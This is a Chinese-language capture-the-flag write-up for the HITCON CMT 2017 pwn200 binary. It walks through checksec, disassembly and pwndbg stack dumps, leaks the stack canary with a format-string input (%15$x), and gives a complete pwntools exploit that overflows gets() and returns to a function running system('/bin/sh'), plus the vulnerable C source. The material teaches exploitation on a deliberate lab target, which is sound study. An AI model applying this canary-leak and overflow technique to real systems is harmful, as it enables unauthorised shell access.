文件下载
1. 基本信息
file:
$ file HITCON_CMT_2017_pwn200
HITCON_CMT_2017_pwn200: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=57aa66342051fe3bfe3a1005164786816c22a485, with debug_info, not stripped
checksec:
$ checksec HITCON_CMT_2017_pwn200
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
注意有canary栈保护。
反汇编
objdump -d -M intel
0804854d <canary_protect_me>:
804854d: 55 push ebp
804854e: 89 e5 mov ebp,esp
8048550: 83 ec 18 sub esp,0x18
8048553: c7 04 24 90 86 04 08 mov DWORD PTR [esp],0x8048690
804855a: e8 b1 fe ff ff call 8048410 <system@plt>
804855f: c9 leave
8048560: c3 ret
08048561 <main>:
...
804856a: 65 a1 14 00 00 00 mov eax,gs:0x14
8048570: 89 44 24 3c mov DWORD PTR [esp+0x3c],eax
...
80485c0: 8d 44 24 14 lea eax,[esp+0x14]
80485c4: 89 04 24 mov DWORD PTR [esp],eax
80485c7: e8 24 fe ff ff call 80483f0 <gets@plt>
80485cc: 8d 44 24 14 lea eax,[esp+0x14]
80485d0: 89 04 24 mov DWORD PTR [esp],eax
80485d3: e8 08 fe ff ff call 80483e0 <printf@plt>
80485d8: 8d 44 24 14 lea eax,[esp+0x14]
80485dc: 89 04 24 mov DWORD PTR [esp],eax
80485df: e8 0c fe ff ff call 80483f0 <gets@plt>
...
80485e9: 8b 54 24 3c mov edx,DWORD PTR [esp+0x3c]
80485ed: 65 33 15 14 00 00 00 xor edx,DWORD PTR gs:0x14
80485f6: e8 05 fe ff ff call 8048400 <__stack_chk_fail@plt>
...
canary_protect_me里system的参数应该是sh,验证一下。先判断加载基址,再用string命令查看字符串:
$ readelf -l HITCON_CMT_2017_pwn200
Elf file type is EXEC (Executable file)
Entry point 0x8048450
There are 9 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
...
LOAD 0x000000 0x08048000 0x08048000 0x0079c 0x0079c R E 0x1000
...
$ strings -t x HITCON_CMT_2017_pwn200 | grep 690
690 /bin/sh
main函数流程:
- setvbuf设置输入输出缓冲区;
- canary存在esp+0x3c
- gets(buf),buf位于esp+0x14
- printf(buf)
- gets(buf)
- 检查canary
思路
- 第1个gets,利用格式化字符串漏洞读出canary的值;
- 第2个gets,覆盖返回地址为canary_protect_me,执行system获取shell,覆盖时canary的值不能变。
3. 调试
main开始处,确认一下canary地址是0xffffd40c,值为0x4637a300:
EAX 0x4637a300
...
EBP 0xffffd418 ◂— 0x0
ESP 0xffffd3d0 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
*EIP 0x8048574 (main+19) ◂— xor eax, eax
──────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────
0x804856a <main+9> mov eax, dword ptr gs:[0x14]
0x8048570 <main+15> mov dword ptr [esp + 0x3c], eax
► 0x8048574 <main+19> xor eax, eax
pwndbg> x /x $esp + 0x3c
0xffffd40c: 0x50495500
第一个gets,输入16个a,查看栈数据:
► 0x80485d3 <main+114> call printf@plt <printf@plt>
format: 0xffffd3e4 ◂— 'aaaaaaaaaaaaaaaa'
vararg: 0x0
pwndbg> x /40x $esp
0xffffd3d0: 0xffffd3e4 0x00000000 0x00000001 0x00000000
0xffffd3e0: 0xf7fb53fc 0x61616161 0x61616161 0x61616161
0xffffd3f0: 0x61616161 0xffffd400 0xffffd4bc 0xf7e0d875
0xffffd400: 0xf7fe5970 0x00000000 0x0804860b 0x4637a300
0xffffd410: 0xf7fb5000 0xf7fb5000 0x00000000 0xf7df5fa1
...
(0xffffd40c - 0xffffd3d0)/4 == 15
(或者0xffffd410 - 0xffffd3d4再除以4),canary是第15个参数,那么输入%15$x
就能获取canary。
buf与canary地址相差0xffffd40c-0xffffd3e4==40
个字节
ebp值为0xffffd418,那么返回地址就是位于0xffffd418 + 4, 与canary相差0xffffd418+4-0xffffd410==12
个字节
第2次gets发送的payload的结构:
40个字节
canary
12个字节
canary_protect_me地址:0x0804854d
4. exp
可以先down下来,用process或gdb.debug调试:
from pwn import *
context.log_level = 'debug'
pSystemBinsh = 0x0804854d
program = "./HITCON_CMT_2017_pwn200"
p = process([program])
# p = gdb.debug(program, "b main")
# pause()
p.sendline("%15$x")
canary = int(p.recv(timeout=5), 16)
log.info("canary: 0x%x" % canary)
payload = bytes("a"*40, encoding="ascii")
payload += p32(canary)
payload += bytes("a"*12, encoding="ascii")
payload += p32(pSystemBinsh)
# gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()
源码
#include <stdio.h>
#include <stdlib.h>
void canary_protect_me(void)
{
system("/bin/sh");
}
int main(void)
{
setvbuf(stdout, 0LL, _IONBF, 0LL);
setvbuf(stdin, 0LL, _IOLBF, 0LL);
char buf[40];
gets(buf);
printf(buf);
gets(buf);
return 0;
}